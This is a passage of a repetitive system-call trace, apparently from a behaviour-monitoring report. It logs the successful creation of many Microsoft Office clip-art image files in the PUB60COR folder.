Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086424.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086426.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086428.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086432.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086478.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0089945.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0089992.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090027.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090087.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090089.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090149.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090390.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090777.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090779.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090781.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090783.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0093905.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0098497.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099145.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099146.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099147.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099148.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099149.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099150.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099151.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099152.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099153.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099154.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099155.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099156.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099157.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099158.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099159.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099160.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099161.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099162.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099163.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099164.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099165.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099166.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099167.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099168.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099169.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099170.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099171.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099172.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099173.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099174.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099175.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099176.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099177.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099178.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099179.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099180.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099181.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099182.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099183.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099184.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099185.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099186.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099187.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099188.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099189.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099190.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099191.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099192.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099193.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099194.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099195.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099196.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099197.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099198.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099199.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099200.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099201.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099202.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099203.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099204.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099205.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101856.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101857.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101858.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101859.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101860.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101861.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101862.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101863.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101864.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101865.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101866.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101867.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101980.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0102002.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0102594.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0102762.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0102984.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0103058.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0103262.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0103402.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0103812.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0103850.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105230.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105232.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105234.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105238.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105240.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105244.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105246.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105250.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105266.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105272.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105276.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105280.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105282.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105286.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105288.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105292.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105294.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105298.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105306.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105320.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105328.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105332.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105336.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105338.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105348.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105360.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105368.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105376.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105378.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105380.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105384.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105386.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105388.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105390.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105396.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105398.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105410.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105412.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105414.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105490.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105496.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105502.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105504.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105506.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105520.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105526.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105530.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105588.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105600.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105638.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105710.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105846.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105912.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
